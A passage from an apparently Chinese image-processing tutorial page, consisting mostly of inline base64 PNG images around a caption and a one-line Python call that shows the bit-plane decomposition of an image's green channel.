SjxRwKxJbB5r5qiizRKCos0Kp0okeL/q51vAbMp4yJpPTFB&#43;fqV59P6rmsjMZoy2kk&#43;tgXby/GHBZeNZY&#43;DXxwK9h11Rl1HuxfeqsVG6jWyiGhXkU&#43;nC85/FSyQT4xvpK0T&#43;ysZG9NIdZiUZIgPMAXEcdgwZH4zOMWAKj5xHJdyoq1U6Qodj658iGFWnppoaVvT9XJZoPZ295PH0GU8IJgPTOyZm5t8skbBErXg8FtH6UfBHdlCyZLHB4hzfo4&#43;v9RNlN5bE0V/xWhTzqmHY0gQcg2pjyn78WOaTrOlAqDWRtrKjp8F4y/KfauL8XMYn8qD0iPxm/lf603gYQGpBllTY4lUHU4F0jIMyXiLZVFApPiJjKAdV8rjxIyPynm8&#43;Z/pg/ChekQ4bw5w&#43;GleFKhbKtpHt1Fi8n9FnYxydITZt5BuVyPdynfGr7B3FOKPPUPGxiFYUY1E&#43;iHis2Csbi&#43;NH2vNA&#43;568G/nbmntVf2Xys88eia&#43;ncRmtz&#43;ZHa4MupZ6RHtHHrcnpt2S9ICio6g78PBUYUaFW448tlp7eAuxMmAxojKxY&#43;s5H0cNxiqfR8GtHiVLZb7mWdXR&#43;nAoanI88VpHRxzEsuJiPK/7W8FBtEo7BQncN38rXPTDG8Rqui36B9PFV2UglXeQbr7P1K3HL6Kp1UIY9YhVzTlYk1jaGiCwWmYwqtlmTxuipIsX48LmoYj/GJ15jazIZEOG/91JEVWAoprc6lkrqx6DSNVUSyTI3MqAfEyVkNg/5GIWsKUDnVLxu5U0F0TFQ9FgSYZ0tzlH8MN1EzeKCKPmOAEtCLPlEiRevIa8q0VWaRwaVxDJdRXZak0wrMR0Vj6gwj4IqPoxXlaOzArZcV9eUXbC58OtG/Ku8ovwlKsRRrmQxyOjg2CxOS1/6Wd6zjkItzIRgdDPsmWhUAmBBEfGmxrIgVbryNFRgjkLEA/KN79nOAMfhddUBbymUSh/YxKnON/NJZRdMQMw&#43;WRKIivGxiHYZjCfFm7/udcaaqaxgMd2rQhXJxZp0Ng7lZM0Rk8&#43;Pj4qR0t1oKHmZDP4eyhGNVXpgvLB5qhZEfsFqg7IbK8h&#43;bjXWIn62NHrhDnNN5a06j0owlcAZgShhZwkRx0TX8L5fP7rnHUZ1Y8cga2pU0VE8oUMqJ2QdMJuT6XKrHyD/EX9sPLNT9T1LxKNsivSiQpgV7ihZRAW50ghg7uojNQAACMFJREFUEmdFIWsUK/wrWzEfzdbGool09mxqPZ/IH&#43;M9y2v&#43;euTruH5F18z3IltgwxWtw2RHGTIekYaKEX9P1rmka&#43;tMEUqoiHnGxF4dWhWqGWBBgeMqDQQLsEw3wtmGKaqJP7sVXVN6qTZUFTtXkm4236&#43;3RgbFS6XIsPU9H&#43;qeDbKpj9HI55h/Kf4revNjkxxC56m5KsYq60eFQjUtUcOjePb03ZyRyaxHcrH1mYyKbzbXX/PzIz&#43;JkOVQvKfkyHjOZImagUjOw71bF0vPMHGhiLFKQKrr5yigTJlbk7fXCTOiClL/6nnYA4xuFnCRw2HX6O95OlkwrNF3RoPZk8mxNqijxBoVBk9XBfCxYJ10xCuOqTRDTBa1RtSps2QV5RQcizSi93797D6TVSVu9n4UomKh1lfxxeITaSo7M91neUrFsVo7ijWVm5m8qg5V1s/W9Fj1771w8aiKRwk2S2yngkom3smisf6eGU&#43;6UQCisfwrc6aRYInHv0ZgdlbFMHLIrfbOCi4GgtclFoaIBwxAP0/RYt0vYu9mCGWN/BPnRoUU5zKdM7DcweZkhYg1aX48K&#43;Lqmp&#43;j8hHyksX/SCBvqvChDpXPLjQ9jci/s8KhdOHX8DwhsjyQFbw1dDxfXj4cE&#43;X4BWnBXIALRuOywFEMnwMqmaqxVWcwu&#43;08zJnU3GX8aN2wrspfV4VHOZOyaUXGvRINrrNcj7phFjSZn3qaWeKKEtkxQB6Qb8ZfpVGNYt37MfNxRQt1y3xQ&#43;Q3GFNOrpxHFTia/koHxlxWWLVCxVCmUOE4VWDUW3yvdMF/zNlnThDA7sXWzxkvJjQ2CH6P8UKH0hwsWItVOwDtXlhxYgtujUFQRJVXGl5I9GhNdE/ocpozmfika16wkmIpdVMI&#43;h62ZrP6e5yWbz&#43;7h/KhxAB2MEjr8QxR&#43;bc9fpUj5eQ8vJnTGbJ5hhC0iOVSzV/WJrBEB&#43;iOduGe6jOJLFSAmO9JUsavoqTUYj0qOqGhmfstiT9ktGi9kv8XU6v9WohJAZjCmDCYUCnNqRAWzMh5R7Uoj/e1RMBkfkVMBP&#43;UiEvnLKERFivGSNS3RvErws2skIIcooJH/h&#43;mhkshyT9AsF6eo2Uv4lnxEzZRq2v39ir1RDv9ZJWbVOKrkegQezrsoV9bQR/eiBiWSrZqXs9hWBSor5hm9iK&#43;sbqnPh7m3CJaOZDPmvbC4eBSUy9hljHo9FVBOL0uWKNVnr5dKkVA6GQmUrZL0Fp6q&#43;lDBW9XDGqDOPH18z2yVBR2Ox/fqWhCIdeESeLso&#43;&#43;B6qKe1/onvt8jj&#43;cW1sVjhWL9&#43;VByj&#43;6opULJlDcRIKH0gbyw/oS2VLpl/eqgcgO9V3KEvRgUK5UIZ1dr&#43;M8qn6DC7o&#43;4ipL&#43;HiVDdNlNCJZBUZzHaCRUyHllSVPdZx7SswZyc0VVd1mhkTQ0GlUoWbI5H1NWOAsoS6boaHFEywfvMZiqJjEbW/bPGiPEcNUrMx9fkBnZN6YX5vvKpKNkrW2OMet7wnorNSM5RQP4WsALA5uJ4xi9bQ&#43;UFVbTVXAQ2tYyW0j&#43;zWSQrsyWTn/HH5PMo7zBRWOVUKmAzZbI1RyBygKhzW0ubgXV6WSLN9HksWBJha7IkkqEanIwf/77S9Sr7Vfyx0vyw69g1ZzbcM6Gydav3lO2Z/TL/Q39SyZ0109Fcfx39IpqLPKsmQTU8fk7UQPjY2AuYd5n/q4bQj/Pj/TimW/8&#43;ywtsrtcv8yFvL7U&#43;yscKH9JSMjJajC8lM6L8e5jM8ZgBKouuXecYsC5FIepkFG3VMTFHyYql/7xXILJOijlZVFhUIYySVaUYqe6RFV9/Peo6s6IdBQ4mTmVDtT7zudFF1OuA6TKyD/KfxTXKx&#43;YyOtE6FV9UNNnaUdFAWv5eprPo/p6I4tPLU5mTzVNg8lZ0wmK9EoNsruJJ&#43;YPyvep6Sjfpl36iaswYjZLeWihDq7FRgkMo56vwlMkYFd7I4VWS6YO/9IPXVNGPxqxpLNh6LOAYD0q3EZ0Rts18yK9bsB&#43;7NsqmDxOPfCpqfpgNMh1GNoySU/SZ8ZwV8WqsVYtK5C9RERoZoybybsRLphcWRwxZc1QtxMqG1cKEPFVyOpOP6QDpKt7Nbn&#43;RK91hqkrOusTMWP5eBZUEECky4gPpr0W1U8L7KEPmMKM72Kj7w/UqhdSPXWvXKGlFfuXfL2OWz2sLeZRsPL9sPZwfBWTV3muBdvO8o56ZTvy9rHAiTbZ&#43;1acrDaOK1zVxp/iJckHURLBre9k0Wkv5qvLdbA57j/wgHZUzIv/D16jJYfxUmgglj8odinemi/AZpk9A&#43;BmF9kmDJTKfULY4mFduJKwfwwKMGWktH8wgLHHhK&#43;rT01RrjQaTP&#43;rKVHBkQbaWpyhJZYVbyZOBBROu6X16uYc6xPhQ9yN5RoAlQizkrLAzPrMxSAdzQ6YDBMsZaizKy&#43;zF6Ks8oHITS84s5&#43;0BFX8qVlkBQr9E&#43;fw6FTBdqJwe6YX5GcujWGe8vIwPVquYf6j1Kryn/94rIqw6D3&#43;fJZoRjhYlsD0LECb2SuJe41Rbk/9aRIklGsMakgqfyt4sIBRtlWgZ3xWwOVnCVHSyQrWWtypY7LGdACYT5D9LTkifNV5MX8p2rJDjHCWfX4slbVZ8VfHIchJrIqOmYzSQf2wS0BaRPyDdqDFhPsDkz5oj/5npG/XOmj4Wg4wm8s74Rn7X2rL030qQUQwsJlxUaGGNMrPnAisaqpCw8QjUX&#43;YUZqf7pWjlyNEcLxOOw/FDBNhAi/nmgqiBY76uZMakn8TDKJv2yJbqOrOfH6fk9GOjMZVxio/I/1jcREm2Kh/yiTJEPneYMzRGIxmjJgbvV&#43;M08gsVO1nc3CNQErPM5lmejOyn&#43;FV0RG64xXD2pZ&#43;JiYmJiYkJW/HH1ycmJiYmJu5nzII5MTExMTFRwCyYExMTExMTBcyCOTExMTExUcAsmBMTExMTEwXMgjkxMTExMVHA/wfu&#43;Wb1&#43;5rvugAAAABJRU5ErkJggg==" alt="png"  />
</p>
<p>对 G 分量进行位平面分解的结果</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">bitplane</span><span class="p">(</span><span class="n">G</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcwAAADVCAYAAADadcBhAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1&#43;/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nO19a6x13VXWmFACtB&#43;XAjbQgBARUgpJGw0giAYSIJKARajlZin&#43;IIISTAzxBggE2nD7IRIQY6S1FEgEGiJgNcWE4o2SUIIGKEJJa6G0mN4vUGxZ/jh7fR3vc55njDHXmmufffY7n&#43;TkrMucY4w57nPu/Z63LctiExMTExMTEzHe664FmJiYmJiYuA&#43;YBXNiYmJiYqKAWTAnJiYmJiYKmAVzYmJiYmKigFkwJyYmJiYmCpgFc2JiYmJiooA7L5ittR9qrX3zIFrf2lp7wQhaE9sxbXpdmPa8PkybbsPhBbO19srW2h&#43;11t7WWntja&#43;3nWmsftb5fluVrlmX59tPYz2yt/V5C73mttT850XtDa&#43;3FrbUnHb2ORKZfP8mz/ryrtfYzdynTkXgYbHqS67Nbay9rrb29tfbq1toz7lqmI/Aw2BNkWn/e&#43;y5lOhIPg01XtNY&#43;pLX2f1tr//VoXufaYX7BsiyPmNlHmNnrzOz7d9L77hO9jzSzPzSz5&#43;2ktwvLsnzisiyPnGT6ADP7P2b2E3cp0xlw1TZtrT3ZzH7MzL7RzD7IzJ5qZr9ylzIdjKu25wnfvcbp6efddy3QwXgYbGpm9l1m9pvnYHTWI9llWf7YzH7SzJ68Pjt1Lt/RWnucmb3IzJ7oOsAnJvTeYTdJ7ZPY&#43;9baT7TWXttae3Nr7Rdba58IfH/g1Hm9tbX20tbax7r3Tzp1UW9orf1Wx&#43;7ir5rZE8zsp4rj7zWu2KbfZGb/almWFy3L8q5lWV6/LMsrKjq5z7hiez60uGabttY&#43;7STHc3NN7MdZC2Zr7bFm9iVm9kv4blmWt5vZ55nZa1wH&#43;JqE3iNm9hVm9qtiyIvM7OPspoC9zMx&#43;FN5/mZl9m5k93sx&#43;x8yefaL7ODN7sd04xRNO437QGz7As8zsJ0/ruXpcsU3/0mne/2qt/UFr7QWttQ&#43;JZL8GXLE9zcz&#43;7ikR/0pr7Ysjua8J12rTdnOk/gNm9nVmdpa/8XqugvnTrbU3mdlbzOxzzOx7dtL7hhO93zGzR8zsq9igZVl&#43;eFmWty7L8k4z&#43;1Yze0pr7YPckBcuy/LLy7K8y26M&#43;tTT8883s1cuy/Lc0&#43;7iZXazY3x6JNTJMZ9ul3NUcSSu3aYfaWbPNLMvtpvgf3/bf6R1ybh2e/4Le08S/2Yze15r7S/vWuHl49pt&#43;vVm9tJlWc72UcljzsTnC5dl&#43;flTR/A0M3tJa&#43;3Jy7K8diO9712W5ZuiASdezzazv2lmf8bM/vT06sPM7M2na8//HXbjBGZmH21mn3pyjhWPMbMfSeT6IjN7g5m9JFvAFeDabfpHZvbcZVn&#43;94n3c8zs52tLuZe4anueku&#43;K/9Ba&#43;1G7idf/li/l3uJqbXo6Nv56M/uLnWvYhXN/hvnuZVleaGbvNrPPYEMGsvtyu3GSz7abL218zOl5K8x9tZm9ZFmWD3Y/jyzL8rXJvGeZ2fOXh&#43;i/gLlim/5PO9MxzyXhiu2JWIp87j2u1KafYjdfZvqN1tprzez7zOxTTp&#43;dHvbt53N/htlaa0&#43;zm7Nr9q2m15nZh8L2fSs&#43;wMzeaWavN7PHmtlzOub&#43;rJl9fGvtma219zn9fHJr7RPUhNbaR5rZZ5nZv90j9H3DFdv0uWb2t1trf&#43;501P6PTjSuGtdqz9ba01trj7TW3qu19rlm9rfM7N/vXcB9wJXa9EV2U4yfevr5Z3bzmepTj/z287kK5s&#43;01t5mN2fpzzazZy3L8us4aFmWl5vZj5vZ77bW3tSSb2sleL6ZvcrMft/MfsPIB94Ky7K81cw&#43;18y&#43;1MxeYzdHCN9lZu8bTHummf2Ph&#43;GblCdctU2XZfnhE7&#43;Xnni&#43;026OgK4VV21PM/v7Jz5vspvP8r56WZZf2Cr4PcHV2nRZlncuy/La9cdujnv/347j5hLaQ3R6ODExMTExsRl3/qfxJiYmJiYm7gNmwZyYmJiYmChgFsyJiYmJiYkCZsGcmJiYmJgoYBbMiYmJiYmJAsK/9NNam1&#43;h3YBlWay1duuZmVlrzTZ8M3nYP7A&#43;0qZ&#43;3df27WtmN79WtLfCOnZZliE2PcqeTs6Vz6PPgf&#43;tMYpW9TnjMxpb7Rmsf3iMjtZBFJvrOrK85d&#43;jj/hxEX&#43;k3xM7PbJ4nv59xA9y2K2Bc4d5ADKDZGPuK661WJrFa&#43;pZ932w&#43;7oO5quttQd&#43;suISvfcJbh3r&#43;TLeOJ89r2CUPe&#43;Lr6&#43;6VvkHCw5rlFiBQlr4XBVJBeYDuA4mf7YRqTRAGW&#43;z8/0t2cPQ47B3kaxWB1Ldz30JOIU9u0oMtPsCn3xU4rkGMLtiAvVFUxU6pIGonr6opN6zC1br3GPPS49jZZtoR810qYpkdh/pD5suJtt6rwpzRDeyKSuWWS4L/3DBpR7JjnDOcyU11tFtOJ69yCPZLQVSHZ3cJ1QKSYZLP5KNgMdb0ZHrHjB/YYk02o307Pqr9hRHkCMTyjCbRk0p6jU6zoxoVWzPeCm9R7vZqq9VbcpkcnNuMbpXO8yRSfZcR6OM/jUcXWayswC8z&#43;v1YOu4z0ft2bFqtkOJxrJxmSzsmtGpFMtK0eyxJ2sWLhXZUTgrRP432/mhr2Q8ojHqlKLii1kOzU4ZmGx&#43;rYruvSiYRzrlXSS6yCkuPQjN9n&#43;2kx2PjZblHIjsdsnHtJWjreie0fPj1sRbBdvF&#43;N/V&#43;Nhb0FiC9cn90hEdX2bFQj2LilpVJ&#43;q0IKOXFW/G3/OqyJ4VbLML&#43;dLP1uQ6WoZz8MIkoN5fInoTn//cIUu0&#43;BlFL5&#43;7RLbGu5avB&#43;pUABOT&#43;r2O3RpPft5d2VYVD5TrEmMVC2N0QrC&#43;VzZUtLc0tWxnmu3iMYcwGaNTiMqpCOMbjbvozzDvyiGPDtIN67qIzzCPsMdoXd8Xn1nu8DPMnuNG9lkP0nGy3OrW90LtIKIioMYw2tGRbgRSiC7iM0yllweIi11UZOPK7suPr8jIfCzijWtiskW7zmhn6Z&#43;5&#43;bcWexE7TIa77N6O5o1d033YgdyHYnkUzQpwR3WJuw&#43;z&#43;NuA0TFe9t4nK9&#43;ls13CVnmjYh3N3fI&#43;s&#43;clxSzuiqLjzZ6TLTbP70q3&#43;rgqvFtOodQctZ5o/ZX1XGzBvGscnfCy8/dLwVFH1UcmHJWgj05y0THTXcMfi0XNmpIfPw/CsZXdB6PbI/vW&#43;Vtlyex517bOdmbs2tvf2xEbm56Yz3a0ag47Lo52/Or4mPFVzRo7Wmd0lBzDC&#43;aI5HppBWRvR8VwH3aYLMFuwV0nlBUY2CPWpuhfkg&#43;roy22a8iS5tYjTD9mq&#43;6P0mlll8J432XDy5oULOAVHbOixWiwkwOko5qyCn/2nN0zWSu7Y2ar7EifYXjB3Hv0cmmJ5hzHs5cG7OQiHWDhj&#43;7ZnKNxF/wvzYdVc6aSjyqqEY&#43;t6C2e6qjYJ&#43;sqqjmn6v/nBu76mT0RaN9oThY7laP3atHOdpZMnqzQr7TZUXXWACmZL&#43;ZI9hILx5GIjkruCj2JT3VsrJu7pAJyJFgxuqu1R0dWmUyYCCP/HOm3PcWzZz175PHXzJ7ntq&#43;PLTxKzYonnh5Ep1wj1qWOO9VYVdwqyIo&#43;a6i8TfHYX9G7F/8Os4LKtn40ejtaD3U8dhdQRxbZHDP&#43;DbZIL1t2AFvno0yebiTfVltkSegc6JUhS5TZzqUnBnrsmR0LV45RVzqKb2U3dnRRqaKn&#43;Hhg0&#43;oLUtYI9dDP5mb6rsakGsfyDvPdyKZYsJm8F7PDNOt3wKwj7T3u6cVWuuzs/K5R1b1KGqMKBXZ7ve8Vqg3V1iR4jh1PBnXUpnabmZ7ZNdKpHrehbLjb6TkWXOeoIlK1RZY7IhrqmPAosKNyprfqKYBqkiuxFfHGXVsmh1pjVly9/tFWyjZq3Hpf2TTsKph3lRi2FMERxXNEcFS6mHNjS7FjRxt7dvnqyIT94Jw9RW7U0VPWAR8NlvTU8RZLKHhiEO3MqvJkSc3LGRWorbsphczumT3PaeMsziqx6/W8x99Z08P4&#43;PdRjFZ0yPxSFfoo/zCbIp2KbroL5l3vjkbwvMtd3dajlSPAHDnr9LMjnhHIGhsVrL0YJW9Vh0eAddSs&#43;OA4lohw/J4TlOoOkr1Xu6QIW5vhyilDFhOjY5gdE2J8VRoM1ohEG4fMRqpxYD/YDKHPKZqoU6RVgZ/D5Ge5qlo8ywXzrndCe3eHjF4v9uxmGC3/&#43;1yIEmKkY7YT2Fv8s441Q7Yz6aEzAkcl0ApPJkOkX0xEPc2TAh6p7ZnPEOkVdzaVsZWdKOOb7ZxGAZM4a0Bw54jvFCLZ2WmAv2ZNVnRqoBo1lDFrkqOTB&#43;b32Dgo2dnuVcmSfukn6l4vBVH3gfJ7MKMp9IytAA14bmCQ&#43;d/re4ZInxkf9k7xqMxj3XePfKNtygLyHFAdO9OLmlvFFl1lPDCh4jqy3QHSGhVTVXueI36jQsNsHMneG8NMlh6b&#43;jnVnWbGM1ubH8foYNHE&#43;Zt3mKN3dhmvnueV96zT2QPVjW&#43;ldReodPKsmLJOcY8MkVzV7niELUY2g3dxYqB2hyw5sK67p8CrHT1bd7QDYXJjl894svtILv9ui30jvR4JZje148RdNe6oGG1Pxz&#43;P9KjGVPIz2w3iWtk8RZ81Rqzh93kiWzeLE0RYMPcE/8idWC9fFZCRYXpk2FqAVZE4JyKHUEcSPkCryScreD3jfUKoNnC9et26M8yS99FgNmHJgSX&#43;6F5B2a6aBL3MzJ5VeZkMUWxXm7zMnkzHR9obC0NlN1RpIrNYruyqsRgxm2IezmSLmh3WxFdyMdNTpNPQd5NEdfazwmxLnY2vItvKV2ToSbBsXR07tpERuTCemAiiZNfNMOgeR/FgfDIbR3atgNFnCVXwGGLTNUZxN4m&#43;Fdl7A89bu5ysg&#43;8FkzUbU2mGe&#43;Kc6TJ4PyxGW2sL85/Mpn4dW3fB0ZorNqnQ9rQqu1Xl014WdZ/RS3R8a/LFFUyz3DBH7V63JPBex9wo&#43;9CCmSUBKcSOTrrS8Y5AlKyrSbi6G8loRRhZMHuLwPp8a7H0dLJnexAVwGrx39IYVJp0TLij7HnivwBtKp9qWqKCoNbj6fS87921Z7z8OBW7nm5W2FGGSJdkzC0hS1/6qe7yjjiaqChuFG2GoxJ5lcfI9SKvqHBmiWZrB5vJNIIWk7mazHsKyVa7jVyv2tXicRPafS9QT6OLpaeTJcvIF3v8tMeeqN&#43;RYDKzI8QsRkc2LVEOzmIGaUSFLrrPdo5&#43;TpbX1rHVXeujz0fvMEcl0iMcMUL1SGcPIkdLurfhO0wlE8NeHbBd2xHNleK7Xvfw3lo0o52BHz9wR/IAk4ptt&#43;4u/dy7tGclsSF6xjGe67Uaf8QO0/Ng9z27SIXoRKYyXsnI3q/zo6KoxjAeZJcv/VI1lgnfW4N2/eECX6EjQbbgHAE4SgbUg3/OrjPD&#43;XHn0AN2caqr20v/qJOCDFsSu9K92qmpoGayjFx75RjN63&#43;vPb3Pqm79nKjyrOzCttizR4Yq2G52tZ1qWLbueNHPkc5q1z32XWVFmtF4RcPrwY/NYhw3J&#43;rEIJNv1w6z0h1sQdbVnQujilV2ZJTxO6p7ZY6jno3E0fQVr96OPAvqShIOaAzbYRZ3QPR&#43;C7LjuSOh&#43;O3dZV6QPc3IqUF1l7WZYWFXNhrqhC3bDVZOGJjfq105i43TuP07zJWgMtKIgFFd3znRy1c5VMXgvnM8ukGIdr0jdpN7ZRpJkyWBHruqsVlT4Tvyo08JlCzKnkfvcEfSj3YBjHcF2e5jvb8reyL/aEPCjiQZeu3BivNIXeM9GxfxZTQYPVYsGR&#43;MlbB5SpS5sMmqAznXTuFobO3aRnZ60BEN32GqIq4c5wjbRp3hSLp7aI7wO9K5mg3akXh7RklhlQNk2MrzUbpibQ&#43;M24uKPavrGdEUHmnPE/0wRr0M&#43;K5H58pmW3bhPWOYnFv8Z0ucq7UKfd4imB7JKsNVno3G0UXzrnazGUYWTAuaIPVspF6yROB5b6E9gk5GcxCGH8k&#43;&#43;iBIPqPWoxrlSkLNkCXsqEhnqJwObKQztGCiLOxIkel&#43;i357NkXs3Z5csmfTFTUJSnf4DtcDc7YdyarjLcb8SBx5HHIXxfKcukO&#43;7NhpxYgi4&#43;lltJld/TGY/4neRzRH7KhGjx2JdX2YdFAPI2Io2/ms71UiY3ZktDKaI3SdFVx1/Mdi6AjgcSH&#43;Xq97/btSaD0vxs/bxF9jIWMnG8nObtMa1HpUTKhGIJKj/KUfPNbxDLYcB3js2cUclQiP3jH30B&#43;9w1wvoi5yfb&#43;160P6/r6HRg8U/b223LHrCIdvFuhBPLjNEd3/nuahmliipLt1J6hosiTcQzvDBh6HxKgZ/4xV7bSztWW7d6Sv8n6PXVVuYbJVdqLRPLUmJYvic3rfdyRr5LhHLeLoAlNFT7d4XzCyYLbCX4ZRRy&#43;JjA/QGIWomFdk29vMId&#43;BGP4Zpln8eWVPAaiOZcm8gmwXkM1RflGBWlOW2FnR8tO7hIjlW5TtlKw9BTOK8ajo9DRKKFtFJnWfze2VoSLX5oK5ElYdTk93c19waWsZXTBPNKmTKnv2Fqa71uHenbKitQUiQQ/fYUZ2q3TftwQsJGzPR70bgWhH0Ivqjqcii6NxSMFUPJUeKqcsW3zkKJtubbg8jXVe5VQgarKIvvs&#43;w2zt9j96VszYIvbioM4&#43;xSUVy9FYFv4PiFX3uKJ3F7clAY2Cl2eELffSONqPt&#43;o9o&#43;flrhTXo&#43;LmCP9AmusztWZM6j4xH5kvkl3tA&#43;&#43;q9HAsm1uJ961gDYfX6RZeSk8rXVa/fG3zzyOe5X&#43;HyRzG4winqXTBE9uBRZLtErfQ6sHoneg5kpjCXTVavqPGZgiTgp&#43;zFdE6R9tydPOzFb1FZQS/qLihrSuIYk0VrqjQ9ML7pGpYEFt3nGou22ljYxTxTP8/TDSM6j7VbmUvrnm3dwlQxy4sQe3tbhmtEfY9yve2yHFuGdBOzJ4&#43;UVV2o1Hi6pmzBexY8GieyA&#43;v76Jpx2SuiphH7wYDC27mG1nuZ7yZPRWvvXFTPWlhJwfVhiz830pUl8OYsXez2F0mcDeC78x4p3ZkI7THX7J5D4MvRolyVCLq2Vn26FztCo7OK6pZVLKdC/hZnH/GUC3seKJUmePHRMWOyb&#43;&#43;Z82af5btCkeANZFKb2EsJQpbIoNFC73kJFV1xEvBcgf/155/d&#43;m6Ykcr0Tq20FfY8bHBKEXSP1zwKBOSpNiuhQq44zhsy3xFI/O7Xv2rpFnh5XmC/obG6MoDZfbPmbyVDQ7hV5Ztaw5gOUfJ3yMTo5UVx2hTAO9vCZF&#43;6YcxwSOeS0yiEapb92uEOo7wzy7liLMK382q4Dtqd3wXOxAE2y347p3ZHK8Re4vlVjBbRScie3mZ3d4RKagTmdExku24vG19gVDFbPTpw15b4M4Sa4rimT2rNK&#43;V3B&#43;tL/0ME699kTzyGEjJcwkJ6j6DOUzvkcgoG/hA2UOTFYyRfqIK8SUA7Vk5PcHiwArUVlnwKK4X6IuVpmdLcd8im4qdowq5h&#43;KT7YzZ6UsFWMxQtl6d&#43;6ZHNeOR77ACyxp9Jp86TfOobhJKO0xkiIzPlUDuw27nvmFr0hxhc9987bEt67bX5wxbk4fifZdQx1BqXFZ0tjRMLLlu9Q9MmkcUpsjXFY&#43;oKTtih8kKBr7LTgBRTkS0bnVqg/N60HP0qmTDa1ajMA9ku9OeE8fyDtMj6mgq8/fgHM75MIAlvWoneonH8Go3oo7RqqjoJdrFHY3KbkTpQ&#43;0itvDcM47B653lmj0FGQsM4x3N38O/B1g0oh1VhQai92RpBJgds4Ylir9oV&#43;nzAfLBHWs1p5V2mNG7qKO8tKS6QnWLD0PhzI4lPKo7tqPlOoLWXntnO59z&#43;lIl9rCjZ7uGkfbdS0slVqXvrfJjHlN0zhkLjJ&#43;XkfH3BXT92erjR&#43;dC1nRUTjj2nkKxZ6irbN2lf4fJniPT&#43;wTm/PdxHVsQJQQPdWQyMphGJSB1TMXukV&#43;2FtW9KrnP7UPZcdUoPURAHe3VAbPn&#43;rwqS0QbE6TadSPPniPFPVA&#43;hwke50Q70i2oHOv20sPCrsZ4ntGmjNGNaDIe2CxFutv0x9fVNvq&#43;FJwRznROLGf44&#43;uqg74PumLHpiOSR&#43;W4aAeGKJXZE22HR5BqTZdiZzxKQ6ikVm1&#43;jshXI2PUSN5FG3pESX5Lk6Hm7G1qs2LE7M5shj6b0Wb5ga2J8LxFrHwky6q96s5G49zHddeM6BiE7bSzo6FLAvrr3t3w6I79CERHid6uUZEYta5RfhEd2e3hzRJtLw027oh4YL6Lz7JTsRE78lGnb1GRVL5Z2az55/430mE81FFspLfSl34qSRaFGYmRdNUR46UWgdFgtlLN0Hp918eOGbKdw4ijqUtbs4JKAmY8CbMmYw9vT2svooK/xR6M3ooeG/v5R/gGO17F9&#43;vz6JiS0VLjFP9ReZHtENkxqdopKn1kpwVKD9mxt0K6w8wqtl/ofYFPKuv9fZJ/D7JjC7MHz/LXd/cBKPcou0ZHYSoQzwWWXFXgn1O2UbxG02E7GnVqpnYeGCuj4yNqWH1ByTYrFd2dyyeYntjma0vOwSJbaRT9OOYHklf4kvyJpkhgz/yS0XPUcwlgZ&#43;l7yK0XUeGsNEGX2ihtkQsDjp1EePQmSjJ&#43;6GeYKmkg38y2lxLHLJn17JRUTkK99NBnjYnjO/x7BlFeVQWCyejvA55DZM9QqSXruCgGUTeRv/v5Kh5QhtOzvs8wvZCX0E2Pwn2VexT8Tgy7WQb1/IjuegT2HNdVi2WV3uijLQQmAX/ig0UhS55sN3VXwB1hZJPK7mF9hruybPehrvE0ZiQwHrO1K/7sJO2uUdkRK3uznSjuuBltluOi05dQp5UdpieitrGK&#43;X3Bpe6WzI7dYaouNHLY&#43;4LeRNG7i2GodLDrq5JQOb8l6qhRhuoOk9G7K/TI6zGi8anEh9qN7MCiEnjUCDB5mdxRA3wu9O70sxOHrbHr&#43;ZO4vUUw/Wcl0ctLUf61Y2TBVE1Q9Wgqwn0sqmb1Lw5UUTwGG6UomlyVbb18Pcn1Eu26Jfds8VHWkBA9D29qmZ2io8dq0bjUzU7kj5Gfrsj05d9V1s5smn7pR22dL/U47khcw3rZEY06OcD1Zuu/bz7h1xwVy60J9hy6qBwrsnVmR3l&#43;3n1BJjdLlsxWKhEz3R1VYHAtaEN/DKl2SYpuNOaubN5js97x0fFvNIahtMPMlFyt2JTBPd2VZBi5riN2mJVu9Jp3mlt3TiyZbkwyw45kzfKjw&#43;qRLAIT0CXYNco1vce3rMhuiYujYpTJxGxSPW6OTh4q80cj8ismK85DqOafzc/Gdu8wkXj0fisuIQCPwCWvC7tWtkNRDlqxdbTruRREu8oV0a5D0Tw3osK43kdHV707kru2abSzyIqltznbYURJGXV1pB7YCZB/p4olOzFCRE3V0VC7xOi4Nas9ymbRqVnU9GanFKWCWdniMvQ61V0H42hc6nowEHsCpnx0cQXH9r7ws073kooJJgo8ssN3PXKzNZ9zrSrRefQ0QMxuWSL1z/zvI/SAux1lLxa/rCAqHsjn6MKJa1E8s1qj7BitQdHE4&#43;ys8Uq/JbvVIfYc41zS8c8lYORxjxn/&#43;8ABbzPrP8q7NGyRPTu2Mrv7I1kjXxDx948OCjroHtvehT&#43;oI8NKnojWme3Oq3Kd6B52JBsdHSp7XFIOVfZTYzN7ZrtKpgu1s8bxoNdbgjymulDVbUVHJFtxCUbuxRHJ4wia7HiH8fTvoqOhS0bWyao5kU4UjyqO2HWrLlwd3amjsa28RiM7Tsx2AZ5OZje1O8P5qtGI5N2D6AQg2y3h/R7fr8qYoWqrbFxU&#43;ETRo4WT6Qp/00KfLHqYJ1xqcr0Phe6I7jXh19W1XwNYF6oKTi/E3CGKY/ZkxUA1uyOaIFZYttCooDehq0bf81R2V2sSz4bGaLYry0481O6qgii&#43;RxRJVdAymZjdoqaosIOkO/Zoh3m2gumFG4U9Ryj3CUcEo0qUFWdWx0B7scWeexJDJkcFUSFVXeyJx9CCqU6Doh0SyjUiPjJfihqQHh/skcHzS2zywPNstwbyH9LURjyV72c74h4oG2Y7OKTB5m4t5MpPPA&#43;8z5ofUXi3FczRRw/3rWD1oOoInUclwz/DrOxC1vdRwr02W&#43;7x8Sx4cfhmRg/yvJVcs2ZnTzHagl6d7pWJJcgoMUY7yKw5dPQOK5hexmhXjKgWtB4ov8kK&#43;d7Th6jBiuZU5Rb6277DTIK/C9eWZI/GkcFYOeZxcx8Yt7djvDRU1l&#43;NgWhndeJ1SMFEGSJkHft9tKfyx2gHruggop2N